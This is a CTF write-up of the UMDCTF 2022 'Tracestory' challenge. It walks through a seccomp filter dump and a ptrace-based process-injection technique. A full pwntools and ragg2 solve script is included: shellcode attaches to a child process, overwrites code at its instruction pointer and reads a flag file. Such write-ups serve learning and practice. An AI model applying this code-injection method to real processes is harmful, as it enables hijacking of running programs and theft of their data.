Tracestory was a pwn problem hosted at UMDCTF 2022 with just a single binary provided.
The program follows a simple flow of forking off a child process, setting a seccomp policy on itself and then executing shellcode from the user.
The read_story function follows a simple loop of opening a file readstory.txt and then reading it's contents into memory and then looping. A check is additionally performed to see if the current pid is even. If the pid is not even, then it will loop without reading the story.
Our first clue to solving the program comes with the debug print when first executing, where it will tell us the pid of the child process forked:
Our next step was seeing how the program is accepting our input. The program calls fgets with a length of 0x1000 on our input, which gives us no restrictions on bad characters and a lot of room to work with later.
Even though the logic looks complicated, it's effectively taking each byte from our fgets buffer and placing it into an RWX memory mapping from mmap.
And finally before we can just run our shellcode, we need to see what the seccomp policy that's been placed on us forces us to do within our shellcode. My teammate playoff-rando dumped the seccomp policy earlier in the problem and we can see if below:
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x18 0xc000003e if (A != ARCH_X86_64) goto 0026
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x15 0xffffffff if (A != 0xffffffff) goto 0026
0005: 0x15 0x13 0x00 0x00000003 if (A == close) goto 0025
0006: 0x15 0x12 0x00 0x00000004 if (A == stat) goto 0025
0007: 0x15 0x11 0x00 0x00000005 if (A == fstat) goto 0025
0008: 0x15 0x10 0x00 0x00000006 if (A == lstat) goto 0025
0009: 0x15 0x0f 0x00 0x0000000a if (A == mprotect) goto 0025
0010: 0x15 0x0e 0x00 0x0000000c if (A == brk) goto 0025
0011: 0x15 0x0d 0x00 0x00000015 if (A == access) goto 0025
0012: 0x15 0x0c 0x00 0x00000018 if (A == sched_yield) goto 0025
0013: 0x15 0x0b 0x00 0x00000020 if (A == dup) goto 0025
0014: 0x15 0x0a 0x00 0x00000021 if (A == dup2) goto 0025
0015: 0x15 0x09 0x00 0x00000038 if (A == clone) goto 0025
0016: 0x15 0x08 0x00 0x0000003c if (A == exit) goto 0025
0017: 0x15 0x07 0x00 0x0000003e if (A == kill) goto 0025
0018: 0x15 0x06 0x00 0x00000050 if (A == chdir) goto 0025
0019: 0x15 0x05 0x00 0x00000051 if (A == fchdir) goto 0025
0020: 0x15 0x04 0x00 0x00000060 if (A == gettimeofday) goto 0025
0021: 0x15 0x03 0x00 0x00000065 if (A == ptrace) goto 0025
0022: 0x15 0x02 0x00 0x00000066 if (A == getuid) goto 0025
0023: 0x15 0x01 0x00 0x00000068 if (A == getgid) goto 0025
0024: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0026
0025: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0026: 0x06 0x00 0x00 0x00000000 return KILL
The code block above doesn't give us much to work with except for the PTRACE call. This system call is exposed by linux to enable one process to debug another. This means that the challenge author intends for us to attach to the child process and do something ptrace to it.
Ptrace offers a handful of useful features, including setting and getting current program registers along with reading and writing data to the process. My first thought when reading this was to use ptrace to read the bytes out of the buffer holding storytext.txt, and I have that PoC at the bottom, but ultimately the flag was not stored in that file, but instead in a file called flag.
The next option that some teams choose to do was to use ptrace to nop out portions of the running child to slide the read bytes from the file into a debug call and to patch in the flag file into the open call. This approach would have been way easier that what is going to follow.
Based off playoff-rando's original stab at this problem my starting code to interact with the problems looks like the following:
This problem wants to send in a ton of shellcode and I knew if I wanted to interact with another process, then hand-jamming all the shellcode was going to be tough and I needed a better tool.
ragg2
There is like one example of anyone using ragg2 online, so I'm hoping for this post to be the second. ragg2 is designed to take in c code and output position independent shellcode for use in cases just like this!
The work flow I wanted to enable was a piece of shellcode that could inject another piece of shellcode. I wanted to overwrite the child process's program counter and beyond with my shellcode that arbitrarily does anything. So to do so, I need two pieces of code that could compile with ragg2.
My first snippet is what eventually I learned the child process needed to execute to give me the flag, but ultimately this could have been a reverse shell instead of writing to stdout.
main(){char buf[100];int i =0;int fd =open("flag",0,0);read(fd, buf,100);write(1, buf,100);exit(-8);}
The program above will open the flag file, and read it's contents, then write those bytes out to stdout. Since the parent process doesn't close those file descriptors we can reuse those and we'll see the bytes.
The following snippet took me the majority of the CTF to write and when ragg2 generates shellcode, I've learned that inner if-else statements will occasionally just segfault and you'll need to add some __asm__("nop"); statements before executing any other code to enable it to run without seg faulting.
There were a couple notes about this problem that required some unique solutions. First, we couldn't call wait after using a PTRACE operation, so we couldn't guarantee we were attached after a PTRACE call. So my solution was to call ATTACH and GETREGS over and over until I got an RAX value that I recognized. I knew it would call get_pid() to get it's current pid and I could use that as a marker of successful attachment.
I also learned that I couldn't PTRACE_POKE right away. Every guide I've read online shows that it should be okay, but I found adding in a sleep(1) call seemed to stabilize the whole thing. Sleep was also a seccomp blocked syscall, so I recreated it using an allowed syscall gettimeofday to just busy wait during the sleep.
Since we can't include headers, all structs that I needed to interact with, I had to redefine myself either inline or above the functions. sleep required the timeval struct and with a slight modification to the tv_sec field, it finally compiled.
Finally my poke function took a while to get just right, I was using 8 byte writes initially for all my pokedata, but learned that it wrote in 4 byte longs, and not 8 bytes.
Since we're using PTRACE's api to interact with the process and those reads and writes go through the kernel, it doesn't matter what the memory region we're POKEing has set permissions-wise. So we can happily poke data into the RX mappings of a running process at it's current program counter.
My final solve is below:
from pwn import*import subprocesscontext.binary = elf =ELF("./trace_story")cmd ="ragg2 -a x86 -b 64 trace_code.c 2>/dev/null"cmd2 ="ragg2 -a x86 -b 64 -z trace_code.c 2>/dev/null"injected_code ="""main(){{ char buf[100]; int i = 0; int fd = open("flag",0,0); read(fd, buf, 100); write(1, buf, 100); exit(-8);}}"""code ="""struct user_regs_struct{{ unsigned long long int r15; unsigned long long int r14; unsigned long long int r13; unsigned long long int r12; unsigned long long int rbp; unsigned long long int rbx; unsigned long long int r11; unsigned long long int r10; unsigned long long int r9; unsigned long long int r8; unsigned long long int rax; unsigned long long int rcx; unsigned long long int rdx; unsigned long long int rsi; unsigned long long int rdi; unsigned long long int orig_rax; unsigned long long int rip; unsigned long long int cs; unsigned long long int eflags; unsigned long long int rsp; unsigned long long int ss; unsigned long long int fs_base; unsigned long long int gs_base; unsigned long long int ds; unsigned long long int es; unsigned long long int fs; unsigned long long int gs;}};void fake_sleep(int seconds){{ struct timeval {{ long tv_sec; long tv_usec;}}; long long t; struct timeval t1, t2; gettimeofday(&t1, 0); while(t2.tv_sec < (t1.tv_sec + seconds)){{ gettimeofday(&t2, 0);}}}}intpoke (pid_t pid, unsigned char *src, void *dst, int len){{ int i; uint32_t *s = (uint32_t *) src; uint32_t *d = (uint32_t *) dst; for (i = 0; i < len; i+=4, s++, d++){{ if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0){{ return -1;}}}} return 0;}}main() {{ unsigned long long ptr = 0; unsigned long pid = {}; struct user_regs_struct regs; unsigned char * shellcode = {}; ptrace(PTRACE_ATTACH,pid,0,0); ptrace(PTRACE_SINGLESTEP,pid,0,0); ptrace(PTRACE_GETREGS,pid,0,®s); while(regs.rax != pid){{ ptrace(PTRACE_ATTACH,pid,0,0); ptrace(PTRACE_SINGLESTEP,pid,0,0); ptrace(PTRACE_GETREGS,pid,0,®s);}} fake_sleep(1); unsigned long long addr = regs.rip; poke (pid, shellcode, (void*)addr, {}); ptrace(PTRACE_CONT, pid, 0, 0); fake_sleep(10); return 0;}}"""defcompile_code(code):withopen("trace_code.c", "w")as f: f.write(code) output = subprocess.check_output(cmd, shell=True) data = output.split(b'\n')[1].decode() data_bytes =bytes.fromhex(data)return data_bytesdefcompile_inject_code(code):withopen("trace_code.c", "w")as f: f.write(code) output = subprocess.check_output(cmd2, shell=True) data = output.split(b'\n')[1].decode()return dataio =remote("0.cloud.chals.io", 15148)# io = elf.process()# io = process("/usr/bin/strace -D ./trace_story", shell=True)# gdb.attach(io,"""# b *0x00401907# c# """)io.readuntil("[DEBUG] child pid: ")pid_str = io.readline().strip().split()[-1]pid =int(pid_str)print("Pid",pid)PTRACE =0x65inject_code = injected_codeinject_data =compile_inject_code(inject_code)print(inject_data)print((len(inject_data)-3)/3)sc_len =int((len(inject_data)-3)/3)+1temp_bytes = inject_data.replace("\"","")temp_bytes = temp_bytes.replace("\\x","")print(temp_bytes)temp_bytes =bytes.fromhex(temp_bytes)for i inrange(0,len(temp_bytes),8):print(temp_bytes[i:i+8])test_code = code.format(pid, inject_data, sc_len)data =compile_code(test_code)io.send(data)io.clean()io.interactive()